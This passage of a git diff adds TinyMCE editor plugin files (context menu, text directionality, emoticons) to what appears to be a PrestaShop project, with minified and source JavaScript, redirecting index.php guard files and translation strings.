g=this,d=g._menu,j=e.selection,f=j.isCollapsed(),h=j.getNode()||e.getBody(),i,k;if(d){d.removeAll();d.destroy()}k=b.getPos(e.getContentAreaContainer());d=e.controlManager.createDropMenu("contextmenu",{offset_x:k.x+e.getParam("contextmenu_offset_x",0),offset_y:k.y+e.getParam("contextmenu_offset_y",0),constrain:1,keyboard_focus:true});g._menu=d;d.add({title:"advanced.cut_desc",icon:"cut",cmd:"Cut"}).setDisabled(f);d.add({title:"advanced.copy_desc",icon:"copy",cmd:"Copy"}).setDisabled(f);d.add({title:"advanced.paste_desc",icon:"paste",cmd:"Paste"});if((h.nodeName=="A"&&!e.dom.getAttrib(h,"name"))||!f){d.addSeparator();d.add({title:"advanced.link_desc",icon:"link",cmd:e.plugins.advlink?"mceAdvLink":"mceLink",ui:true});d.add({title:"advanced.unlink_desc",icon:"unlink",cmd:"UnLink"})}d.addSeparator();d.add({title:"advanced.image_desc",icon:"image",cmd:e.plugins.advimage?"mceAdvImage":"mceImage",ui:true});d.addSeparator();i=d.addMenu({title:"contextmenu.align"});i.add({title:"contextmenu.left",icon:"justifyleft",cmd:"JustifyLeft"});i.add({title:"contextmenu.center",icon:"justifycenter",cmd:"JustifyCenter"});i.add({title:"contextmenu.right",icon:"justifyright",cmd:"JustifyRight"});i.add({title:"contextmenu.full",icon:"justifyfull",cmd:"JustifyFull"});g.onContextMenu.dispatch(g,d,h,f);return d}});tinymce.PluginManager.add("contextmenu",tinymce.plugins.ContextMenu)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/contextmenu/editor_plugin_src.js b/js/tiny_mce/plugins/contextmenu/editor_plugin_src.js new file mode 100755 index 0000000..4937d32 --- /dev/null +++ b/js/tiny_mce/plugins/contextmenu/editor_plugin_src.js @@ -0,0 +1,161 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var Event = tinymce.dom.Event, each = tinymce.each, DOM = tinymce.DOM; + + /** + * This plugin a context menu to TinyMCE editor instances. + * + * @class tinymce.plugins.ContextMenu + */ + tinymce.create('tinymce.plugins.ContextMenu', { + /** + * Initializes the plugin, this will be executed after the plugin has been created. + * This call is done before the editor instance has finished it's initialization so use the onInit event + * of the editor instance to intercept that event. + * + * @method init + * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. + * @param {string} url Absolute URL to where the plugin is located. + */ + init : function(ed) { + var t = this, showMenu, contextmenuNeverUseNative, realCtrlKey; + + t.editor = ed; + + contextmenuNeverUseNative = ed.settings.contextmenu_never_use_native; + + /** + * This event gets fired when the context menu is shown. + * + * @event onContextMenu + * @param {tinymce.plugins.ContextMenu} sender Plugin instance sending the event. + * @param {tinymce.ui.DropMenu} menu Drop down menu to fill with more items if needed. + */ + t.onContextMenu = new tinymce.util.Dispatcher(this); + + showMenu = ed.onContextMenu.add(function(ed, e) { + // Block TinyMCE menu on ctrlKey and work around Safari issue + if ((realCtrlKey !== 0 ? realCtrlKey : e.ctrlKey) && !contextmenuNeverUseNative) + return; + + Event.cancel(e); + + // Select the image if it's clicked. WebKit would other wise expand the selection + if (e.target.nodeName == 'IMG') + ed.selection.select(e.target); + + t._getMenu(ed).showMenu(e.clientX || e.pageX, e.clientY || e.pageY); + Event.add(ed.getDoc(), 'click', function(e) { + hide(ed, e); + }); + + ed.nodeChanged(); + }); + + ed.onRemove.add(function() { + if (t._menu) + t._menu.removeAll(); + }); + + function hide(ed, e) { + realCtrlKey = 0; + + // Since the contextmenu event moves + // the selection we need to store it away + if (e && e.button == 2) { + realCtrlKey = e.ctrlKey; + return; + } + + if (t._menu) { + t._menu.removeAll(); + t._menu.destroy(); + Event.remove(ed.getDoc(), 'click', hide); + t._menu = null; + } + }; + + ed.onMouseDown.add(hide); + ed.onKeyDown.add(hide); + ed.onKeyDown.add(function(ed, e) { + if (e.shiftKey && !e.ctrlKey && !e.altKey && e.keyCode === 121) { + Event.cancel(e); + showMenu(ed, e); + } + }); + }, + + /** + * Returns information about the plugin as a name/value array. + * The current keys are longname, author, authorurl, infourl and version. + * + * @method getInfo + * @return {Object} Name/value array containing information about the plugin. + */ + getInfo : function() { + return { + longname : 'Contextmenu', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/contextmenu', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + _getMenu : function(ed) { + var t = this, m = t._menu, se = ed.selection, col = se.isCollapsed(), el = se.getNode() || ed.getBody(), am, p; + + if (m) { + m.removeAll(); + m.destroy(); + } + + p = DOM.getPos(ed.getContentAreaContainer()); + + m = ed.controlManager.createDropMenu('contextmenu', { + offset_x : p.x + ed.getParam('contextmenu_offset_x', 0), + offset_y : p.y + ed.getParam('contextmenu_offset_y', 0), + constrain : 1, + keyboard_focus: true + }); + + t._menu = m; + + m.add({title : 'advanced.cut_desc', icon : 'cut', cmd : 'Cut'}).setDisabled(col); + m.add({title : 'advanced.copy_desc', icon : 'copy', cmd : 'Copy'}).setDisabled(col); + m.add({title : 'advanced.paste_desc', icon : 'paste', cmd : 'Paste'}); + + if ((el.nodeName == 'A' && !ed.dom.getAttrib(el, 'name')) || !col) { + m.addSeparator(); + m.add({title : 'advanced.link_desc', icon : 'link', cmd : ed.plugins.advlink ? 'mceAdvLink' : 'mceLink', ui : true}); + m.add({title : 'advanced.unlink_desc', icon : 'unlink', cmd : 'UnLink'}); + } + + m.addSeparator(); + m.add({title : 'advanced.image_desc', icon : 'image', cmd : ed.plugins.advimage ? 'mceAdvImage' : 'mceImage', ui : true}); + + m.addSeparator(); + am = m.addMenu({title : 'contextmenu.align'}); + am.add({title : 'contextmenu.left', icon : 'justifyleft', cmd : 'JustifyLeft'}); + am.add({title : 'contextmenu.center', icon : 'justifycenter', cmd : 'JustifyCenter'}); + am.add({title : 'contextmenu.right', icon : 'justifyright', cmd : 'JustifyRight'}); + am.add({title : 'contextmenu.full', icon : 'justifyfull', cmd : 'JustifyFull'}); + + t.onContextMenu.dispatch(t, m, el, col); + + return m; + } + }); + + // Register plugin + tinymce.PluginManager.add('contextmenu', tinymce.plugins.ContextMenu); +})(); diff --git a/js/tiny_mce/plugins/contextmenu/index.php b/js/tiny_mce/plugins/contextmenu/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/contextmenu/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/directionality/editor_plugin.js b/js/tiny_mce/plugins/directionality/editor_plugin.js new file mode 100755 index 0000000..bce8e73 --- /dev/null +++ b/js/tiny_mce/plugins/directionality/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.Directionality",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceDirectionLTR",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="ltr"){a.dom.setAttrib(d,"dir","ltr")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addCommand("mceDirectionRTL",function(){var d=a.dom.getParent(a.selection.getNode(),a.dom.isBlock);if(d){if(a.dom.getAttrib(d,"dir")!="rtl"){a.dom.setAttrib(d,"dir","rtl")}else{a.dom.setAttrib(d,"dir","")}}a.nodeChanged()});a.addButton("ltr",{title:"directionality.ltr_desc",cmd:"mceDirectionLTR"});a.addButton("rtl",{title:"directionality.rtl_desc",cmd:"mceDirectionRTL"});a.onNodeChange.add(c._nodeChange,c)},getInfo:function(){return{longname:"Directionality",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,e){var d=b.dom,c;e=d.getParent(e,d.isBlock);if(!e){a.setDisabled("ltr",1);a.setDisabled("rtl",1);return}c=d.getAttrib(e,"dir");a.setActive("ltr",c=="ltr");a.setDisabled("ltr",0);a.setActive("rtl",c=="rtl");a.setDisabled("rtl",0)}});tinymce.PluginManager.add("directionality",tinymce.plugins.Directionality)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/directionality/editor_plugin_src.js b/js/tiny_mce/plugins/directionality/editor_plugin_src.js new file mode 100755 index 0000000..205d02c --- /dev/null +++ b/js/tiny_mce/plugins/directionality/editor_plugin_src.js @@ -0,0 +1,82 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.Directionality', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + ed.addCommand('mceDirectionLTR', function() { + var e = ed.dom.getParent(ed.selection.getNode(), ed.dom.isBlock); + + if (e) { + if (ed.dom.getAttrib(e, "dir") != "ltr") + ed.dom.setAttrib(e, "dir", "ltr"); + else + ed.dom.setAttrib(e, "dir", ""); + } + + ed.nodeChanged(); + }); + + ed.addCommand('mceDirectionRTL', function() { + var e = ed.dom.getParent(ed.selection.getNode(), ed.dom.isBlock); + + if (e) { + if (ed.dom.getAttrib(e, "dir") != "rtl") + ed.dom.setAttrib(e, "dir", "rtl"); + else + ed.dom.setAttrib(e, "dir", ""); + } + + ed.nodeChanged(); + }); + + ed.addButton('ltr', {title : 'directionality.ltr_desc', cmd : 'mceDirectionLTR'}); + ed.addButton('rtl', {title : 'directionality.rtl_desc', cmd : 'mceDirectionRTL'}); + + ed.onNodeChange.add(t._nodeChange, t); + }, + + getInfo : function() { + return { + longname : 'Directionality', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/directionality', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private methods + + _nodeChange : function(ed, cm, n) { + var dom = ed.dom, dir; + + n = dom.getParent(n, dom.isBlock); + if (!n) { + cm.setDisabled('ltr', 1); + cm.setDisabled('rtl', 1); + return; + } + + dir = dom.getAttrib(n, 'dir'); + cm.setActive('ltr', dir == "ltr"); + cm.setDisabled('ltr', 0); + cm.setActive('rtl', dir == "rtl"); + cm.setDisabled('rtl', 0); + } + }); + + // Register plugin + tinymce.PluginManager.add('directionality', tinymce.plugins.Directionality); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/directionality/index.php b/js/tiny_mce/plugins/directionality/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/directionality/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/emotions/editor_plugin.js b/js/tiny_mce/plugins/emotions/editor_plugin.js new file mode 100755 index 0000000..dbdd8ff --- /dev/null +++ b/js/tiny_mce/plugins/emotions/editor_plugin.js @@ -0,0 +1 @@ +(function(a){a.create("tinymce.plugins.EmotionsPlugin",{init:function(b,c){b.addCommand("mceEmotion",function(){b.windowManager.open({file:c+"/emotions.htm",width:250+parseInt(b.getLang("emotions.delta_width",0)),height:160+parseInt(b.getLang("emotions.delta_height",0)),inline:1},{plugin_url:c})});b.addButton("emotions",{title:"emotions.emotions_desc",cmd:"mceEmotion"})},getInfo:function(){return{longname:"Emotions",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/emotions",version:a.majorVersion+"."+a.minorVersion}}});a.PluginManager.add("emotions",a.plugins.EmotionsPlugin)})(tinymce); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/editor_plugin_src.js b/js/tiny_mce/plugins/emotions/editor_plugin_src.js new file mode 100755 index 0000000..aeee199 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/editor_plugin_src.js @@ -0,0 +1,43 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function(tinymce) { + tinymce.create('tinymce.plugins.EmotionsPlugin', { + init : function(ed, url) { + // Register commands + ed.addCommand('mceEmotion', function() { + ed.windowManager.open({ + file : url + '/emotions.htm', + width : 250 + parseInt(ed.getLang('emotions.delta_width', 0)), + height : 160 + parseInt(ed.getLang('emotions.delta_height', 0)), + inline : 1 + }, { + plugin_url : url + }); + }); + + // Register buttons + ed.addButton('emotions', {title : 'emotions.emotions_desc', cmd : 'mceEmotion'}); + }, + + getInfo : function() { + return { + longname : 'Emotions', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/emotions', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('emotions', tinymce.plugins.EmotionsPlugin); +})(tinymce); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/emotions.htm b/js/tiny_mce/plugins/emotions/emotions.htm new file mode 100755 index 0000000..eb7a6b2 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/emotions.htm @@ -0,0 +1,42 @@ + + + + {#emotions_dlg.title} + + + + + +

    +
    {#emotions_dlg.title}:

    + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    {#emotions_dlg.usage}
    +
    + + diff --git a/js/tiny_mce/plugins/emotions/img/index.php b/js/tiny_mce/plugins/emotions/img/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/emotions/img/smiley-cool.gif b/js/tiny_mce/plugins/emotions/img/smiley-cool.gif new file mode 100755 index 0000000..ba90cc3 Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-cool.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-cry.gif b/js/tiny_mce/plugins/emotions/img/smiley-cry.gif new file mode 100755 index 0000000..74d897a Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-cry.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-embarassed.gif b/js/tiny_mce/plugins/emotions/img/smiley-embarassed.gif new file mode 100755 index 0000000..963a96b Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-embarassed.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-foot-in-mouth.gif b/js/tiny_mce/plugins/emotions/img/smiley-foot-in-mouth.gif new file mode 100755 index 0000000..c7cf101 Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-foot-in-mouth.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-frown.gif b/js/tiny_mce/plugins/emotions/img/smiley-frown.gif new file mode 100755 index 0000000..716f55e Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-frown.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-innocent.gif b/js/tiny_mce/plugins/emotions/img/smiley-innocent.gif new file mode 100755 index 0000000..334d49e Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-innocent.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-kiss.gif b/js/tiny_mce/plugins/emotions/img/smiley-kiss.gif new file mode 100755 index 0000000..4efd549 Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-kiss.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-laughing.gif b/js/tiny_mce/plugins/emotions/img/smiley-laughing.gif new file mode 100755 index 0000000..82c5b18 Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-laughing.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-money-mouth.gif b/js/tiny_mce/plugins/emotions/img/smiley-money-mouth.gif new file mode 100755 index 0000000..ca2451e Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-money-mouth.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-sealed.gif b/js/tiny_mce/plugins/emotions/img/smiley-sealed.gif new file mode 100755 index 0000000..fe66220 Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-sealed.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-smile.gif b/js/tiny_mce/plugins/emotions/img/smiley-smile.gif new file mode 100755 index 0000000..fd27edf Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-smile.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-surprised.gif b/js/tiny_mce/plugins/emotions/img/smiley-surprised.gif new file mode 100755 index 0000000..0cc9bb7 Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-surprised.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-tongue-out.gif b/js/tiny_mce/plugins/emotions/img/smiley-tongue-out.gif new file mode 100755 index 0000000..2075dc1 Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-tongue-out.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-undecided.gif b/js/tiny_mce/plugins/emotions/img/smiley-undecided.gif new file mode 100755 index 0000000..bef7e25 Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-undecided.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-wink.gif b/js/tiny_mce/plugins/emotions/img/smiley-wink.gif new file mode 100755 index 0000000..0631c76 Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-wink.gif differ diff --git a/js/tiny_mce/plugins/emotions/img/smiley-yell.gif b/js/tiny_mce/plugins/emotions/img/smiley-yell.gif new file mode 100755 index 0000000..648e6e8 Binary files /dev/null and b/js/tiny_mce/plugins/emotions/img/smiley-yell.gif differ diff --git a/js/tiny_mce/plugins/emotions/index.php b/js/tiny_mce/plugins/emotions/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/emotions/js/emotions.js b/js/tiny_mce/plugins/emotions/js/emotions.js new file mode 100755 index 0000000..f73516c --- /dev/null +++ b/js/tiny_mce/plugins/emotions/js/emotions.js @@ -0,0 +1,43 @@ +tinyMCEPopup.requireLangPack(); + +var EmotionsDialog = { + addKeyboardNavigation: function(){ + var tableElm, cells, settings; + + cells = tinyMCEPopup.dom.select("a.emoticon_link", "emoticon_table"); + + settings ={ + root: "emoticon_table", + items: cells + }; + cells[0].tabindex=0; + tinyMCEPopup.dom.addClass(cells[0], "mceFocus"); + if (tinymce.isGecko) { + cells[0].focus(); + } else { + setTimeout(function(){ + cells[0].focus(); + }, 100); + } + tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', settings, tinyMCEPopup.dom); + }, + init : function(ed) { + tinyMCEPopup.resizeToInnerSize(); + this.addKeyboardNavigation(); + }, + + insert : function(file, title) { + var ed = tinyMCEPopup.editor, dom = ed.dom; + + tinyMCEPopup.execCommand('mceInsertContent', false, dom.createHTML('img', { + src : tinyMCEPopup.getWindowArg('plugin_url') + '/img/' + file, + alt : ed.getLang(title), + title : ed.getLang(title), + border : 0 + })); + + tinyMCEPopup.close(); + } +}; + +tinyMCEPopup.onInit.add(EmotionsDialog.init, EmotionsDialog); diff --git a/js/tiny_mce/plugins/emotions/js/index.php b/js/tiny_mce/plugins/emotions/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/emotions/langs/ar_dlg.js b/js/tiny_mce/plugins/emotions/langs/ar_dlg.js new file mode 100755 index 0000000..80f9402 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.emotions_dlg',{cry:"\u0628\u0643\u0627\u0621",cool:"\u062c\u064a\u062f",desc:"\u0627\u0644\u0648\u0633\u0648\u0645",title:"\u0627\u0636\u0627\u0641\u0647 \u0648\u0633\u0645 \u062a\u0639\u0628\u064a\u0631\u0649",yell:"\u064a\u0635\u064a\u062d",wink:"\u063a\u0645\u0632\u0629",undecided:"\u0628\u0639\u062f","tongue_out":"\u0627\u0644\u0644\u0633\u0627\u0646 \u062e\u0627\u0631\u062c",surprised:"\u0645\u0646\u062f\u0647\u0634\u0629",smile:"\u0627\u0628\u062a\u0633\u0627\u0645\u0629",sealed:"\u0627\u0644\u0645\u062e\u062a\u0648\u0645\u0629","money_mouth":"\u0645\u062d\u0628 \u0627\u0644\u0645\u0627\u0644",laughing:"\u0627\u0644\u0636\u062d\u0643",kiss:"\u0642\u0628\u0644\u0647",innocent:"\u0627\u0644\u0628\u0631\u0627\u0621\u0647",frown:"\u0627\u0644\u062a\u062c\u0647\u0645","foot_in_mouth":"\u062d\u0630\u0627\u0621 \u0641\u0649 \u0627\u0644\u0641\u0645 (\u0627\u062e\u0631\u0633)",embarassed:"\u0627\u062d\u0631\u0627\u062c",usage:"\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0623\u0633\u0647\u0645 \u0627\u0644\u0623\u064a\u0645\u0646 \u0648\u0627\u0644\u0623\u064a\u0633\u0631 \u0644\u0644\u062a\u0646\u0642\u0644."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/az_dlg.js b/js/tiny_mce/plugins/emotions/langs/az_dlg.js new file mode 100755 index 0000000..919ef50 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.emotions_dlg',{cry:"A\u011flay\u0131r",cool:"Bomba",desc:"Smayllar",title:"Smayl \u0259lav\u0259 et",yell:"Ba\u011f\u0131r\u0131r",wink:"G\u00f6z vurur",undecided:"Q\u0259rars\u0131zl\u0131qda","tongue_out":"Dil g\u00f6st\u0259rir",surprised:"T\u0259\u0259c\u00fcbl\u0259nib",smile:"G\u00fcl\u00fcms\u0259yir",sealed:"M\u00f6h\u00fcrl\u0259nib","money_mouth":"\u00c7oxlu pul",laughing:"G\u00fcl\u00fcr",kiss:"\u00d6p\u00fc\u015f",innocent:"G\u00fcnahs\u0131z",frown:"Qa\u015fqabaql\u0131","foot_in_mouth":"Ayaqlar_m\u0259nim_a\u011fz\u0131ma!",embarassed:"Mat qalm\u0131\u015f"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/bg_dlg.js b/js/tiny_mce/plugins/emotions/langs/bg_dlg.js new file mode 100755 index 0000000..b15ff1c --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.emotions_dlg',{cry:"Cry",cool:"Cool",desc:"\u0415\u043c\u043e\u0442\u0438\u043a\u043e\u043d\u0438",title:"\u0412\u043c\u044a\u043a\u043d\u0438 \u0435\u043c\u043e\u0442\u0438\u043a\u043e\u043d",yell:"Yell",wink:"Wink",undecided:"Undecided","tongue_out":"Tongue out",surprised:"Surprised",smile:"Smile",sealed:"Sealed","money_mouth":"Money mouth",laughing:"Laughing",kiss:"Kiss",innocent:"Innocent",frown:"Frown","foot_in_mouth":"Foot in mouth",embarassed:"Embarassed",usage:"\u0418\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 \u0441\u0442\u0440\u0435\u043b\u043a\u0438\u0442\u0435 \u043d\u0430\u043b\u044f\u0432\u043e \u0438 \u043d\u0430\u0434\u044f\u0441\u043d\u043e, \u0437\u0430 \u0434\u0430 \u0438\u0437\u0431\u0435\u0440\u0435\u0442\u0435 \u043d\u044f\u043a\u043e\u044f \u0435\u043c\u043e\u0442\u0438\u043a\u043e\u043d\u043a\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/ca_dlg.js b/js/tiny_mce/plugins/emotions/langs/ca_dlg.js new file mode 100755 index 0000000..6aaba39 --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.emotions_dlg',{cry:"Plorant",cool:"Guai",desc:"Emoticones",title:"Insereix una emoticona",yell:"Cridant",wink:"Fent l\'ullet",undecided:"Indec\u00eds","tongue_out":"Llengua a fora",surprised:"Sorpr\u00e8s",smile:"Somriure",sealed:"Censurat","money_mouth":"Amb fam de diners",laughing:"Rient",kiss:"Pet\u00f3",innocent:"Innocent",frown:"Arrufant les celles","foot_in_mouth":"Amb un peu a la boca",embarassed:"Avergonyit",usage:"Feu servir fletxes esquerra i dreta per navegar"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/cs_dlg.js b/js/tiny_mce/plugins/emotions/langs/cs_dlg.js new file mode 100755 index 0000000..625608b --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.emotions_dlg',{cry:"Pla\u010d\u00edc\u00ed",cool:"\u00da\u017easn\u00fd",desc:"Emotikony",title:"Vlo\u017eit emotikonu",yell:"K\u0159i\u010d\u00edc\u00ed",wink:"Mrkaj\u00edc\u00ed",undecided:"Nerozhodn\u00fd","tongue_out":"S vyplazen\u00fdm jazykem",surprised:"P\u0159ekvapen\u00fd",smile:"Usm\u00edvaj\u00edc\u00ed se",sealed:"Ml\u010d\u00edc\u00ed","money_mouth":"Je na prachy",laughing:"Sm\u011bj\u00edc\u00ed se",kiss:"L\u00edbaj\u00edc\u00ed",innocent:"Nevinn\u00fd",frown:"Zamra\u010den\u00fd","foot_in_mouth":"\u0160l\u00e1pnul vedle",embarassed:"Rozpa\u010dit\u00fd",usage:"Pro navigaci pou\u017eijte \u0161ipky vlevo a vpravo."}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/da_dlg.js b/js/tiny_mce/plugins/emotions/langs/da_dlg.js new file mode 100755 index 0000000..165137e --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.emotions_dlg',{cry:"Gr\u00e6de",cool:"Cool",desc:"Hum\u00f8rikoner",title:"Inds\u00e6t hum\u00f8rikon",yell:"R\u00e5be",wink:"Vink",undecided:"Ubeslutsom","tongue_out":"Tunge ud",surprised:"Overrasket",smile:"Smil",sealed:"Lukket","money_mouth":"Pengemund",laughing:"Grine",kiss:"Kys",innocent:"Uskyldig",frown:"Forskr\u00e6kket","foot_in_mouth":"Fod i munden",embarassed:"Flov",usage:"Brug venstre og h\u00f8jre piletaster til at navigere"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/emotions/langs/de_dlg.js b/js/tiny_mce/plugins/emotions/langs/de_dlg.js new file mode 100755 index 0000000..9ef427c --- /dev/null +++ b/js/tiny_mce/plugins/emotions/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.emotions_dlg',{cry:"Weinend",cool:"Cool",desc:"Smilies",title:"Smiley einf\u00fcgen",yell:"Br\u00fcllend",wink:"Zwinkernd",undecided:"Unentschlossen","tongue_out":"Zunge 